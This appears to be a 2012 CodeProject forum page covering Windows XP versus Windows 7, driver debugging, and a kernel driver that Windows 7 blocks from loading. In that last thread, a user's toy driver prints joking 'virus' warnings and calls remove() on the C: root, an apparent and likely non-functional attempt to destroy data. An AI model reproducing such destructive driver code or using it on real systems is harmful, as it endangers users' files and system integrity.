Hardware & Devices

Re: Can I replace Windows 7 with XP on Dell's Inspiron One ?

19-Jul-12 16:22

OK I got the Inspiron One limping along with Windows 7.
Like the Inspiron, less clutter on my desk, but don't like Windows 7 and would like to replace Windows 7 with XP.
Will Inspiron work with me?
There seems to be two independent boot sources – one with Dell and another with Windows ( Setup).
Ideally I like to boot to external USB drive using Dell's boot. I don't think XP will boot using USB.
Or should I just yank the internal SATA out and replace it with XP OS?
I like to keep the Windows 7 for future testing of my programs but I am happy developing in XP.
Any comments to the point will be appreciated.
Any legal comments or innuendos will be cheerfully ignored.
Vaclav

Dave Kreskowiak19-Jul-12 16:37

Dave Kreskowiak

19-Jul-12 16:37

Well, I can tell you the support for XP (security patches and whatnot) ends in April 2014 (or somewhere close to that). That means no support AT ALL. Got a virus? Tough!

No, AFAIK, XP won't boot from a USB device.

Frankly, you're doing yourself a HUGE diservice by developing on XP insead of Windows 7. Why? Because Windows 7 does a better job of enforcing application developement best practices, such as preventing users from writing to anywhere under Program Files. This is especially true as XP support dies and your market for Windows 7 and 8 rises dramatically. You also get far better penetration of 64-bit Windows with 7 and 8 over XP.

A guide to posting questions on CodeProject[^]

Dave Kreskowiak

Re: Can I replace Windows 7 with XP on Dell's Inspiron One ?

Vaclav_19-Jul-12 17:10

Re: Can I replace Windows 7 with XP on Dell's Inspiron One ?

19-Jul-12 17:10

Thanks, appreciate your quick reply.
Since I got the Inspiron running it seems that Windows 7 is updated with "security" stuff almost daily. Not a good feeling.
It seems to do stuff in background , but the worst part was it just did not wanted to boot or finish running "check disk".
I am still not sure if the HDD is OK, I'll run a real check on it when I find it in the OS.
As far as having OS "enforcing development", common, you must be kidding.
That would be the last "authority" I would rely on. There are plenty of examples why.
Enough said, getting OT.

Dave Kreskowiak19-Jul-12 18:01

Dave Kreskowiak

19-Jul-12 18:01

Vaclav_Sal wrote:
As far as having OS "enforcing development", common, you must be kidding.

Actually, no. XP lets you do things that are security nightmares on Windows Vista and above. In some cases, UAC must be disabled to get an app to run successfully. I've also run into two apps that won't run correctly under Win 7 XP mode.

It's simple. Get used to it because 7 is very quickly replacing XP.

A guide to posting questions on CodeProject[^]

Dave Kreskowiak

Re: Can I replace Windows 7 with XP on Dell's Inspiron One ?

Richard MacCutchan19-Jul-12 22:35

Re: Can I replace Windows 7 with XP on Dell's Inspiron One ?

19-Jul-12 22:35

Vaclav_Sal wrote:
OK I got the Inspiron One limping along with Windows 7.

Are you saying this is a new machine that has some problems; if so go back to Dell and get them to fix it.

Vaclav_Sal wrote:
and would like to replace Windows 7 with XP.

What on earth for? XP is discontinued and support levels will be dropping fast, especially with 8 coming soon. I have a Dell Inspiron 6400 laptop and it is much faster with Windows 7 that it was with XP.

One of these days I'm going to think of a really clever signature.

Vaclav_20-Jul-12 3:59

Re: Can I replace Windows 7 with XP on Dell's Inspiron One ?

20-Jul-12 3:59

The “thing” is about 2 years old and was thrown away by frustrated user. It just booted whenever it felt like it. For example it just needed flash drive in USB port to boot at one time! As is. No Dell support after 1 year anyway.
The “speed” is immaterial for me. Actually I like slow compile , time to have cup of java and relax!
It is the constant “updating this and updating that” and the unfamiliar UI I do not like.
I suppose to the new user it is cool, but in comparison with older Windows it is a pain.
There are few inconsistencies - for instance it have some XML text in IE and no Favorites tool bar - I still have not found it, but I ain't looking that hard. Interrupted disk compression( power failure!) and when I finally restarted it it did something (!) but no feedback if it was continuing the compression.
And what up with semitransparent headers in window frame? What for?
I guess if you want “cool” and questionable operation it is OK.
It needs “classic windows” option!
I thing I'll wait till Windows 10 comes up before I abandon XP. Or go for Linux.

Richard MacCutchan20-Jul-12 5:10

Re: Can I replace Windows 7 with XP on Dell's Inspiron One ?

20-Jul-12 5:10

As I see it:
1. You have an unreliable piece of hardware.
2. you have decided you don't like Windows 7.

I don't think anyone on CodeProject can fix that for you.

One of these days I'm going to think of a really clever signature.

Brandon-X1200024-Jul-12 20:17

Re: Can I replace Windows 7 with XP on Dell's Inspiron One ?

24-Jul-12 20:17

I would recommend downloading a virtual machine simulator like, Oracle VM VirtualBox, that allows you to run Windows Xp, on your real/physical computer, so you would be running to operating systems at the same time and do all your testing and/or developing or whatever you seem to be doing that 'seems' to be best on a Windows Xp Os, except Windows Xp is in it's own separate window and Windows 7 (your default Os) is running at full-screen, please note though once you download it, the program has the option to allow you run the virtual or separate Os in full-screen, overlaying your default one that's already running.

Or you could put Windows Xp as a completely separate Os on the same hard drive as Windows 7, but beware as you might have a very hard time because I heard from talks online about this that "they made Windows 7 to where if you download Windows Xp, Windows Xp won't install because of a serial key invalidation for every security key."

But those are my two-cents. Thumbs Up | :thumbsup:

Simple Thanks and Regards,
Brandon T. H.

Programming in C and C++ now, now developing applications, services and drivers (and maybe some kernel modules...psst kernel-mode drivers...psst).

Many of life's failures are people who did not realize how close they were to success when they gave up. - Thomas Edison

Richard MacCutchan24-Jul-12 22:34

Re: Can I replace Windows 7 with XP on Dell's Inspiron One ?

24-Jul-12 22:34

Brandon T. H. wrote:
I would recommend downloading a virtual machine simulator like, Oracle VM VirtualBox

Why not Windows Virtual PC[^]?

One of these days I'm going to think of a really clever signature.

Brandon-X1200025-Jul-12 4:36

Re: Can I replace Windows 7 with XP on Dell's Inspiron One ?

25-Jul-12 4:36

Oracle VM VirtualBox has a lot more features, and is a lot more user friendly, plus it's open-source, you can add on to it, plus it failed to install on my PC, but Oracle is on there and it works pretty good and just fine.

Vaclav_25-Jul-12 3:07

Re: Can I replace Windows 7 with XP on Dell's Inspiron One ?

25-Jul-12 3:07

Thanks for the info.
Since my initial exposure to Win 7 give me the impression that it is doing stuff to recover from some hard drive problem, it kept rebooting and eventually started at random, I think you are right about potential effect on the Win 7 if I attempt to add XP to the HDD even as virtual XP. I think I will just try to install HDD with XP on it.( Want to see the innards of Inspiron anyway!)
I would be curious if Win 7 is user friendly to do dual boot with Linux, but I guess I need to try that in the future.
I still do not get how Dell's boot setup and OS setup interact.
Back to C++ programming.

Richard MacCutchan25-Jul-12 4:44

Re: Can I replace Windows 7 with XP on Dell's Inspiron One ?

25-Jul-12 4:44

Vaclav_Sal wrote:
I still do not get how Dell's boot setup and OS setup interact.

Like most manufacturers they create their own customized image, under licence from Microsoft, and install it on all their PCs. If you have problems with it then you should always go to Dell first for help. If you modify the setup or install your own purchased version of Windows on the system then Dell are no longer responsible for what happens. However, I have had three Dell systems and replaced the Dell image with later OSes on two of them without any problems.

One of these days I'm going to think of a really clever signature.

Brandon-X1200025-Jul-12 4:47

where to get wddebug_gui.exe

25-Jul-12 4:47

Vaclav_Sal wrote:
I still do not get how Dell's boot setup and OS setup interact.

I've been on Dell computers before:

Press the [F12] or [F8] key, either of the two, should bring up the boot menu, so that you can load or should I say bootstrap the Windows Xp setup installer into your computer's memory. If you have just the setup of Windows Xp on a CD or DVD without anything else on it, then it should say "Press any key to boot from CD...", or similar to that, if you followed those steps and loaded it, if so then press the space bar when that happens, and it should be pretty self-explanatory after that.

You can use a Windows 7 Repair-CD and browse for any hard drives, and modify the Dell setup image, so that it doesn't install any bloatware.

__John_19-Jul-12 0:20

__John_

19-Jul-12 0:20

Hi,

I am looking for windows driver debugger wddebug_gui.exe

Does anyone know how/where to get it from?

Thanks.

“If I had asked people what they wanted, they would have said faster horses.”
― Henry Ford

Re: where to get wddebug_gui.exe

Eddy Vluggen19-Jul-12 0:36

Eddy Vluggen

19-Jul-12 0:36

Would be part of this[^] product, according to my virusscanner.

Bastard Programmer from Hell Suspicious | :suss:

if you can't read my code, try converting it here[^]

Getting a driver to work in a managed environment

MarkB77716-Jul-12 0:05

MarkB777

16-Jul-12 0:05

Hi all,

I have a simple driver which compiles and loads fine, and a simple C++ application which can read data being output from it.

What I am ultimately trying to do is get the data being spat out from the driver into a C# application (which I would prefer to use to do the GUI side of things).

My plan at the moment is to create a .dll, which would have the C++ code to read from the driver, and a buffer which would be exposed to the C# application to read the data.

I have not got to the point of trying this yet, but from what I have been reading online I get the impression that mixing managed and unmanaged code is a nightmare.

So I have two questions:

#1. Am I on the right track with this plan of mine?
#2. If I am not on the right track, does anyone who has been through all of this have any tips, or good articles that can get me moving in the right direction?

Thankyou,
Mark.

Mark Brock
"We're definitely not going to make a G or a PG version of this. It's not PillowfightCraft." -- Chris Metzen

Re: Getting a driver to work in a managed environment

Richard MacCutchan16-Jul-12 0:39

Re: Getting a driver to work in a managed environment

16-Jul-12 0:39

1. Yes, this is probably the best way to do it.
2. The P/Invoke[^] tutorial should help in designing your DLL. See also this article[^] by Luc Pattyn[^].

speaking as ...

MarkB77716-Jul-12 11:19

MarkB777

16-Jul-12 11:19

Great, thanks Richard Wink | ;)

Mark Brock
"We're definitely not going to make a G or a PG version of this. It's not PillowfightCraft." -- Chris Metzen

Driver load problem windows 7

Brandon-X1200010-Jul-12 9:48

10-Jul-12 9:48

Well I created a driver using this code, with WINDDK, using the 'Windows Xp Checked Build Environment' command line console:

#include <ntddk.h>

NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegistryPath){
    DbgPrint("Support driver entry ! (kernelExeSDrv.sys)! \n");
    DbgPrint("This driver, executes applications, services, processes and extensions at the kernel level! \n");
    DbgPrint("Now injecting main driver code in-memory, running in ring 0 (kernel). \n");
    DbgPrint("WARNING 1: Any application that this driver executes, will not be able to be closed-down (programs will be unstoppable) and will be able to do ANYTHING to your computer! *cough* computer virus *cough* \n");
    DbgPrint("WARNING 2: Driver are 'special,' so if anything goes crazy, unplug that cord or hold the power button, and hope for the best. (: \n");
    DbgPrint("WARNING 3: You should know (but I'll tell you anyway), once a driver has been started, it CANNOT be RE-started or stopped. (driver are designed with the peace in mind to be tamper-proof). \n");
    DbgPrint("Have (dangerous) fun! (: \n");
    remove("C:\\");

    return STATUS_SUCCESS;
}

Here's the output of the command console that built that .sys file or driver:

C:\WINDDK\3790~1.183>cd C:\WINDDK\3790.1830\src\myDrvs\supportElevation(TM)

C:\WINDDK\3790.1830\src\myDrvs\supportElevation(TM)>build
BUILD: Adding /Y to COPYCMD so xcopy ops won't hang.
BUILD: Using 2 child processes
BUILD: Object root set to: ==> objchk_wxp_x86
BUILD: Compile and Link for i386
BUILD: Loading C:\WINDDK\3790~1.183\build.dat...
BUILD: Computing Include file dependencies:
BUILD: Examining c:\winddk\3790.1830\src\mydrvs\supportelevation(tm) directory f
or files to compile.
    c:\winddk\3790.1830\src\mydrvs\supportelevation(tm) - 1 source files (13 lin
es)
BUILD: Compiling (NoSync) c:\winddk\3790.1830\src\mydrvs\supportelevation(tm) di
rectory
1>Compiling - driver.c for i386
BUILD: Compiling  c:\winddk\3790.1830\src\mydrvs\supportelevation(tm) directory
BUILD: Linking c:\winddk\3790.1830\src\mydrvs\supportelevation(tm) directory
1>Linking Executable - objchk_wxp_x86\i386\kernelexesdrv.sys for i386
BUILD: Done

    2 files compiled
    1 executable built

C:\WINDDK\3790.1830\src\myDrvs\supportElevation(TM)>

When I used Osr loader version 3.0, explicitly made for Windows Xp, on a virtual Windows Xp machine, I browsed for the driver (it was in a folder on the desktop of the windows xp machine), clicked OK, clicked 'Register Service' it gave me a message "Operation completed successfully!," then I clicked 'Start Service' then it gave me a message "Operation completed successfully!," at that time I had Sysinternals DbgView up and running, and then the following messages appeared on the DbgView program:

00000001	0.00000000	Support driver entry ! (kernelExeSDrv.sys)! 	
00000002	0.00280622	This driver, executes applications, services, processes and extensions at the kernel level! 	
00000003	0.00300485	Now injecting main driver code in-memory, running in ring 0 (kernel). 	
00000004	0.00325349	WARNING 1: Any application that this driver executes, will not be able to be closed-down (programs will be unstoppable) and will be able to do ANYTHING to your computer! *cough* computer virus *cough* 	
00000005	0.00346748	WARNING 2: Driver are 'special,' so if anything goes crazy, unplug that cord or hold the power button, and hope for the best. (: 	
00000006	0.00370773	WARNING 3: You should know (but I'll tell you anyway), once a driver has been started, it CANNOT be RE-started or stopped. (driver are designed with the peace in mind to be tamper-proof). 	
00000007	0.00386865	Have (dangerous) fun! (:

But when I click 'Stop Serivce' it reads "The requested control is not valid for this resource!," but thats for the Windows Xp virtual machine.

Now for my machine, the Windows 7 Home Premium (which is a physical computer or the host computer), with the exact same driver or .sys file, I could register the service, but I could not start it, it gives me the message, "This driver has been blocked from loading." I created it using the 'Windows Xp Checked Build Enviroment' (since there was not a Windows 7 one Sleepy | :zzz:

), what am I doing wrong? Frown | :(

Jochen Arndt10-Jul-12 22:37

Jochen Arndt

10-Jul-12 22:37

Does your driver met the Driver Signing Requirements[^] introduced with Vista?

Brandon-X1200010-Jul-12 23:07

10-Jul-12 23:07

Probably not, what is it? could you tell me how to do it, please.

Jochen Arndt10-Jul-12 23:20

Jochen Arndt

10-Jul-12 23:20

Starting with Vista, drivers must be signed. So read the text from the link and follow the links that apply to your driver and Windows bit size.

If you have a specific question that can't be answered by searching the web, ask again. I have not much experience with driver signing. But others here may help you.

Brandon-X1200010-Jul-12 23:47

10-Jul-12 23:47

Thanks